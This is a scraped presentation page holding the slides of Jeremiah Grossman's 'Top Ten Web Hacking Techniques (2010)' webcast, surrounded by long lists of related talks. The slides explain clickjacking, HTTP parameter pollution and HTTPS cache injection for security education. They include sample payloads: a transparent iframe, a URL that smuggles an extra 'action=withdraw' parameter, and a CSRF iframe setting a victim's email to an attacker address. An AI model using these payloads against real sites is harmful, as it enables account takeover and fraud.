Rich Web App Security - Keeping your application safeJeremiah Grossman
 
CSRF_RSA_2008_Jeremiah_Grossman
CSRF_RSA_2008_Jeremiah_GrossmanCSRF_RSA_2008_Jeremiah_Grossman
CSRF_RSA_2008_Jeremiah_Grossmanguestdb261a
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooNahidul Kibria
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5DefconRussia
 
Top 10 Web Hacks 2012
Top 10 Web Hacks 2012Top 10 Web Hacks 2012
Top 10 Web Hacks 2012Matt Johansen
 
OWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgeryOWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgeryNikola Milosevic
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfcyberhacker7
 
Html5 security
Html5 securityHtml5 security
Html5 securityKrishna T
 
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App Cenzic
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecuritiesamiable_indian
 
Renaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clientsRenaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clientsnooralmousa
 
Web application security
Web application securityWeb application security
Web application securityJin Castor
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Jay Nagar
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMagno Logan
 
XST - Cross Site Tracing
XST - Cross Site TracingXST - Cross Site Tracing
XST - Cross Site TracingMagno Logan
 
CONFidence 2015: The Top 10 Web Hacks of 2014 - Matt Johansen, Johnathan Kuskos
CONFidence 2015: The Top 10 Web Hacks of 2014 - Matt Johansen, Johnathan KuskosCONFidence 2015: The Top 10 Web Hacks of 2014 - Matt Johansen, Johnathan Kuskos
CONFidence 2015: The Top 10 Web Hacks of 2014 - Matt Johansen, Johnathan KuskosPROIDEA
 

Similaire à Top Ten Web Hacking Techniques (2010) (20)

Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
 
CSRF_RSA_2008_Jeremiah_Grossman
CSRF_RSA_2008_Jeremiah_GrossmanCSRF_RSA_2008_Jeremiah_Grossman
CSRF_RSA_2008_Jeremiah_Grossman
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
 
Top 10 Web Hacks 2012
Top 10 Web Hacks 2012Top 10 Web Hacks 2012
Top 10 Web Hacks 2012
 
OWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgeryOWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgery
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdf
 
Html5 security
Html5 securityHtml5 security
Html5 security
 
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 
Renaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clientsRenaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clients
 
Web application security
Web application securityWeb application security
Web application security
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
 
XST - Cross Site Tracing
XST - Cross Site TracingXST - Cross Site Tracing
XST - Cross Site Tracing
 
CONFidence 2015: The Top 10 Web Hacks of 2014 - Matt Johansen, Johnathan Kuskos
CONFidence 2015: The Top 10 Web Hacks of 2014 - Matt Johansen, Johnathan KuskosCONFidence 2015: The Top 10 Web Hacks of 2014 - Matt Johansen, Johnathan Kuskos
CONFidence 2015: The Top 10 Web Hacks of 2014 - Matt Johansen, Johnathan Kuskos
 
4.Xss
4.Xss4.Xss
4.Xss
 

Plus de Jeremiah Grossman

All these vulnerabilities, rarely matter
All these vulnerabilities, rarely matterAll these vulnerabilities, rarely matter
All these vulnerabilities, rarely matterJeremiah Grossman
 
How to Determine Your Attack Surface in the Healthcare Sector
How to Determine Your Attack Surface in the Healthcare SectorHow to Determine Your Attack Surface in the Healthcare Sector
How to Determine Your Attack Surface in the Healthcare SectorJeremiah Grossman
 
The Attack Surface of the Healthcare Industry
The Attack Surface of the Healthcare IndustryThe Attack Surface of the Healthcare Industry
The Attack Surface of the Healthcare IndustryJeremiah Grossman
 
Exploring the Psychological Mechanisms used in Ransomware Splash Screens
Exploring the Psychological Mechanisms used in Ransomware Splash ScreensExploring the Psychological Mechanisms used in Ransomware Splash Screens
Exploring the Psychological Mechanisms used in Ransomware Splash ScreensJeremiah Grossman
 
What the Kidnapping & Ransom Economy Teaches Us About Ransomware
What the Kidnapping & Ransom Economy Teaches Us About RansomwareWhat the Kidnapping & Ransom Economy Teaches Us About Ransomware
What the Kidnapping & Ransom Economy Teaches Us About RansomwareJeremiah Grossman
 
What the Kidnapping & Ransom Economy Teaches Us About Ransomware
What the Kidnapping & Ransom Economy Teaches Us About RansomwareWhat the Kidnapping & Ransom Economy Teaches Us About Ransomware
What the Kidnapping & Ransom Economy Teaches Us About RansomwareJeremiah Grossman
 
Next Generation Endpoint Prtection Buyers Guide
Next Generation Endpoint Prtection Buyers GuideNext Generation Endpoint Prtection Buyers Guide
Next Generation Endpoint Prtection Buyers GuideJeremiah Grossman
 
Can Ransomware Ever Be Defeated?
Can Ransomware Ever Be Defeated?Can Ransomware Ever Be Defeated?
Can Ransomware Ever Be Defeated?Jeremiah Grossman
 
Ransomware is Here: Fundamentals Everyone Needs to Know
Ransomware is Here: Fundamentals Everyone Needs to KnowRansomware is Here: Fundamentals Everyone Needs to Know
Ransomware is Here: Fundamentals Everyone Needs to KnowJeremiah Grossman
 
Web Application Security Statistics Report 2016
Web Application Security Statistics Report 2016Web Application Security Statistics Report 2016
Web Application Security Statistics Report 2016Jeremiah Grossman
 
15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage Years15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage YearsJeremiah Grossman
 
15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage Years15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage YearsJeremiah Grossman
 
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)Jeremiah Grossman
 
WhiteHat’s Website Security Statistics Report 2015
WhiteHat’s Website Security Statistics Report 2015WhiteHat’s Website Security Statistics Report 2015
WhiteHat’s Website Security Statistics Report 2015Jeremiah Grossman
 
No More Snake Oil: Why InfoSec Needs Security Guarantees
No More Snake Oil: Why InfoSec Needs Security GuaranteesNo More Snake Oil: Why InfoSec Needs Security Guarantees
No More Snake Oil: Why InfoSec Needs Security GuaranteesJeremiah Grossman
 
WhiteHat Security 2014 Statistics Report Explained
WhiteHat Security 2014 Statistics Report ExplainedWhiteHat Security 2014 Statistics Report Explained
WhiteHat Security 2014 Statistics Report ExplainedJeremiah Grossman
 
WhiteHat 2014 Website Security Statistics Report
WhiteHat 2014 Website Security Statistics ReportWhiteHat 2014 Website Security Statistics Report
WhiteHat 2014 Website Security Statistics ReportJeremiah Grossman
 
WhiteHat Security Website Statistics [Full Report] (2013)
WhiteHat Security Website Statistics [Full Report] (2013)WhiteHat Security Website Statistics [Full Report] (2013)
WhiteHat Security Website Statistics [Full Report] (2013)Jeremiah Grossman
 
WhiteHat’s 12th Website Security Statistics [Full Report]
WhiteHat’s 12th Website Security Statistics [Full Report]WhiteHat’s 12th Website Security Statistics [Full Report]
WhiteHat’s 12th Website Security Statistics [Full Report]Jeremiah Grossman
 

Plus de Jeremiah Grossman (20)

All these vulnerabilities, rarely matter
All these vulnerabilities, rarely matterAll these vulnerabilities, rarely matter
All these vulnerabilities, rarely matter
 
How to Determine Your Attack Surface in the Healthcare Sector
How to Determine Your Attack Surface in the Healthcare SectorHow to Determine Your Attack Surface in the Healthcare Sector
How to Determine Your Attack Surface in the Healthcare Sector
 
The Attack Surface of the Healthcare Industry
The Attack Surface of the Healthcare IndustryThe Attack Surface of the Healthcare Industry
The Attack Surface of the Healthcare Industry
 
Exploring the Psychological Mechanisms used in Ransomware Splash Screens
Exploring the Psychological Mechanisms used in Ransomware Splash ScreensExploring the Psychological Mechanisms used in Ransomware Splash Screens
Exploring the Psychological Mechanisms used in Ransomware Splash Screens
 
What the Kidnapping & Ransom Economy Teaches Us About Ransomware
What the Kidnapping & Ransom Economy Teaches Us About RansomwareWhat the Kidnapping & Ransom Economy Teaches Us About Ransomware
What the Kidnapping & Ransom Economy Teaches Us About Ransomware
 
What the Kidnapping & Ransom Economy Teaches Us About Ransomware
What the Kidnapping & Ransom Economy Teaches Us About RansomwareWhat the Kidnapping & Ransom Economy Teaches Us About Ransomware
What the Kidnapping & Ransom Economy Teaches Us About Ransomware
 
Next Generation Endpoint Prtection Buyers Guide
Next Generation Endpoint Prtection Buyers GuideNext Generation Endpoint Prtection Buyers Guide
Next Generation Endpoint Prtection Buyers Guide
 
Can Ransomware Ever Be Defeated?
Can Ransomware Ever Be Defeated?Can Ransomware Ever Be Defeated?
Can Ransomware Ever Be Defeated?
 
Ransomware is Here: Fundamentals Everyone Needs to Know
Ransomware is Here: Fundamentals Everyone Needs to KnowRansomware is Here: Fundamentals Everyone Needs to Know
Ransomware is Here: Fundamentals Everyone Needs to Know
 
Web Application Security Statistics Report 2016
Web Application Security Statistics Report 2016Web Application Security Statistics Report 2016
Web Application Security Statistics Report 2016
 
15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage Years15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage Years
 
15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage Years15 Years of Web Security: The Rebellious Teenage Years
15 Years of Web Security: The Rebellious Teenage Years
 
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)
Where Flow Charts Don’t Go -- Website Security Statistics Report (2015)
 
WhiteHat’s Website Security Statistics Report 2015
WhiteHat’s Website Security Statistics Report 2015WhiteHat’s Website Security Statistics Report 2015
WhiteHat’s Website Security Statistics Report 2015
 
No More Snake Oil: Why InfoSec Needs Security Guarantees
No More Snake Oil: Why InfoSec Needs Security GuaranteesNo More Snake Oil: Why InfoSec Needs Security Guarantees
No More Snake Oil: Why InfoSec Needs Security Guarantees
 
WhiteHat Security 2014 Statistics Report Explained
WhiteHat Security 2014 Statistics Report ExplainedWhiteHat Security 2014 Statistics Report Explained
WhiteHat Security 2014 Statistics Report Explained
 
WhiteHat 2014 Website Security Statistics Report
WhiteHat 2014 Website Security Statistics ReportWhiteHat 2014 Website Security Statistics Report
WhiteHat 2014 Website Security Statistics Report
 
Million Browser Botnet
Million Browser BotnetMillion Browser Botnet
Million Browser Botnet
 
WhiteHat Security Website Statistics [Full Report] (2013)
WhiteHat Security Website Statistics [Full Report] (2013)WhiteHat Security Website Statistics [Full Report] (2013)
WhiteHat Security Website Statistics [Full Report] (2013)
 
WhiteHat’s 12th Website Security Statistics [Full Report]
WhiteHat’s 12th Website Security Statistics [Full Report]WhiteHat’s 12th Website Security Statistics [Full Report]
WhiteHat’s 12th Website Security Statistics [Full Report]
 

Dernier

Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...AliaaTarek5
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersRaghuram Pandurangan
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...Wes McKinney
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfpanagenda
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterMydbops
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxLoriGlavin3
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfMounikaPolabathina
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxLoriGlavin3
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Mark Goldstein
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationKnoldus Inc.
 
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...Scott Andery
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersNicole Novielli
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesThousandEyes
 

Dernier (20)

Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information Developers
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL Router
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptx
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdf
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog Presentation
 
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software Developers
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
 

Top Ten Web Hacking Techniques (2010)

  • 1. top ten Web Hacking techniques 2010 Jeremiah Grossman Founder & Chief Technology Officer Webcast 03.17.2011 © 2011 WhiteHat Security, Inc.
  • 2. Jeremiah Grossman • WhiteHat Security Founder & CTO • Technology R&D and industry evangelist • InfoWorld's CTO Top 25 for 2007 • Co-founder of the Web Application Security Consortium • Co-author: Cross-Site Scripting Attacks • Former Yahoo! information security officer © 2010 WhiteHat Security, Inc. | Page 2
  • 3.
  • 4. 400+ enterprise customers •Start-ups to Fortune 500 Flagship offering “WhiteHat Sentinel Service” •1000’s of assessments performed annually Recognized leader in website security •Quoted thousands of times by the mainstream press 4
  • 5. About the Top Ten “Every year the Web security community produces a stunning amount of new hacking techniques published in various white papers, blog posts, magazine articles, mailing list emails, etc. Within the thousands of pages are the latest ways to attack websites, Web browsers, Web proxies, and so on. Beyond individual vulnerability instances with CVE numbers or system compromises, we're talking about brand new and creative methods of Web-based attack.” 5
  • 6. New Techniques 2009 (80) Creating a rogue CA certificate 2008 (70) GIFAR (GIF + JAR) 2007 (83) XSS Vulnerabilities in Common Shockwave Flash Files 2006 (65) Web Browser Intranet Hacking / Port Scanning 6
  • 7. 2010 69 new techniques 1) 'Padding Oracle' Crypto Attack 2) Evercookie 3) Hacking Auto-Complete 4) Attacking HTTPS with Cache Injection 5) Bypassing CSRF protections with ClickJacking and HTTP Parameter Pollution 6) Universal XSS in IE8 7) HTTP POST DoS 8) JavaSnoop 9) CSS History Hack In Firefox Without JavaScript for Intranet Portscanning 10) Java Applet DNS Rebinding http://jeremiahgrossman.blogspot.com/2011/01/top-ten-web-hacking-techniques-of-2010.html 7
  • 8. Bypassing CSRF with Clickjacking and HTTP Parameter Pollution 5 Clickjacking is when an attacker invisibly hovers an object (button, link, etc.) below a user's mouse. When the user clicks on something they visually see, they're instead really clicking on something the attacker wanted them to. HTTP Parameter Pollution is where an attacker submits multiple input parameters (query string, post data, cookies, etc.) with the same name. Upon receipt applications may react in unexpected ways and open up avenues of server-side and client-side exploitation. By cleverly leveraging these two former Top Ten attacks, CSRF attacks can be carried out against a user even when recommended token defenses are in use. Lavakumar Kuppan (@lavakumark) http://blog.andlabs.org/2010/03/bypassing-csrf-protections-with.html 8
  • 9. Clickjacking (Top Ten 2009) Think of any button – image, link, form, etc. – on any website – that can appear between the Web browser walls. This includes wire transfer on banks, DSL router buttons, Digg buttons, CPC advertising banners, Netflix queue. Next consider that an attacker can invisibly hover these buttons below the user's mouse, so that when a user clicks on something they visually see, they're actually clicking on something the attacker wants them to. What could the bad guy do with that ability? 9
  • 10. Hover Invisible IFRAMEs HTML, CSS, and JavaScript may size, follow the mouse and make transparent third- party IFRAME content. <iframe src="http://victim/page.html" scrolling="no" frameborder="0" style="opacity:.1;filter: alpha(opacity=.1); -moz-opacity 1.0;">! </iframe> 10
  • 11. HTTP Parameter Pollution (HPP) - Top Ten 2009 If an attacker submit multiple input parameters (query string, post data, cookies, etc.) of the same name, the application may react in unexpected ways and open up new avenues of server-side and client-side exploitation. GET /foo?par1=val1&par1=val2 HTTP/1.1 User-Agent: Mozilla/5.0 Host: Host Accept: */* POST /foo HTTP/1.1 User-Agent: Mozilla/5.0 Host: Host Accept: */* par1=val1&par1=val2 POST /index.aspx?par1=val1&par1=val2 HTTP/1.1 User-Agent: Mozilla/5.0 Host: Host Cookie: par1=val3; par1=val4 Content-Length: 19 par1=val5&par1=val6 11
  • 13. 13
  • 14. 14
  • 15. 15
  • 16. Simple parameter injection void private executeBackendRequest(HTTPRequest request) { String amount=request.getParameter("amount"); String beneficiary=request.getParameter("recipient"); HttpRequest("http://backend.com/servlet/actions","POST", "action=transfer&amount="+amount+"&recipient="+beneficiary); } Malicious URL: http://target.com/page?amount=1000&recipient=Jeremiah%26action%3dwithdraw Translates to: action=transfer&amount=1000&recipient=Jeremiah&action=withdraw It is possible the attack could work if proper authorization controls are not in place and the application uses the last occurrence of the action parameter (IBM Lotus Domino, PHP / Apache, etc.) 16
  • 17. Example Scenario http://example/updateEmail.jsp Client-Side <form method="POST"> <input type="text" name="email" value=””></input> <input type="hidden" name=”csrf-token” value="a0a0a0a0a0a"/> </form> Server-Side if (req.parameter("email").isSet() && req.parameter("csrf-token").isValid()) { // process the form and update the email ID } else { // display an empty form to the user (CSRF token included) } 17
  • 18. Bringing it all together <iframe src=”http://example/updateEmail.jsp?email=evil@attacker.com”> HTTP request via user submitted form via Clickjacking. The form was not filled out by the victim, meaning the email parameter in the POST body is blank. Now the QueryString contains the attacker entered value for the ‘email’ parameter. POST /updateEmail.jsp?email=evil@attackermail.com HTTP/1.1 Host: www.example.com email=&csrf-token=a0a0a0a0a0 When the server side JSP code calls req.parameter("email"), the value that is returned is the one in the QueryString (HPP first occurrence) and not the POST body. Since this value can be controlled by the attacker, he can trick the victim in to updating his account with the attacker’s mail ID. 18
  • 19. Attacking HTTPS with Cache Injection 4 No matter what type of encryption is used to defend a network, sooner or later the password, key, or certificate needs to be stored. If an attacker is able to tamper with the storage mechanism, even the strongest encryption mechanism can fail. The researchers demonstrated how to attack storage mechanisms by tampering with SSL session and break into Wifi networks using WPA. They also showed how to exploit SSL warning inconsistencies and caching mechanisms to trick the user into accepting a bad certs and steal their username & password. Elie Bursztein (@ELIE), Baptiste Gourdin (@bapt1ste), Dan Boneh http://www.youtube.com/watch?v=bt0Qh9c59_c http://elie.im/talks/bad-memories 19
  • 20. RFC1918 Caching Security - (Top Ten 2009) Public Wifi HTTP Internet Airpwn Victims coffee shops, airplanes, corp guest networks Bad Guy • Victim(s) located on a RFC 1918 network with a Bad Guy • Bad Guy may take the opportunity to read victim’s Web mail, steal creds, etc. • Bad Guy man-in-the-middles HTTP (Airpwn) to inject IFRAMEs to RFC-1918 IPs • MitM IFRAMEs to include JavaScript malware (BeEF). Or ... • Inject JavaScript malware into popular Web widget URLs. (Ad servers, counters, etc.) • Cache content in the browser for a really long time, beyond current session! http://www.bindshell.net/tools/beef/ http://airpwn.sourceforge.net/Airpwn.html
  • 21. Situation • 43% of the Alexa top 100,000 use external javascript libraries • Injecting a malicious javascript library into the browser cache allows the attacker to compromise a website protected by SSL • The malicious library stays in the cache until the user clears it. Moving to a “safe” location doesn’t help 21
  • 22. Impact • One poisoned injection leads to multiple breaches • Multiples websites share the same external library such as Google Analytics • Injecting a malicious version of one of these shared libraries allows the attacker to target all the websites that use it 22
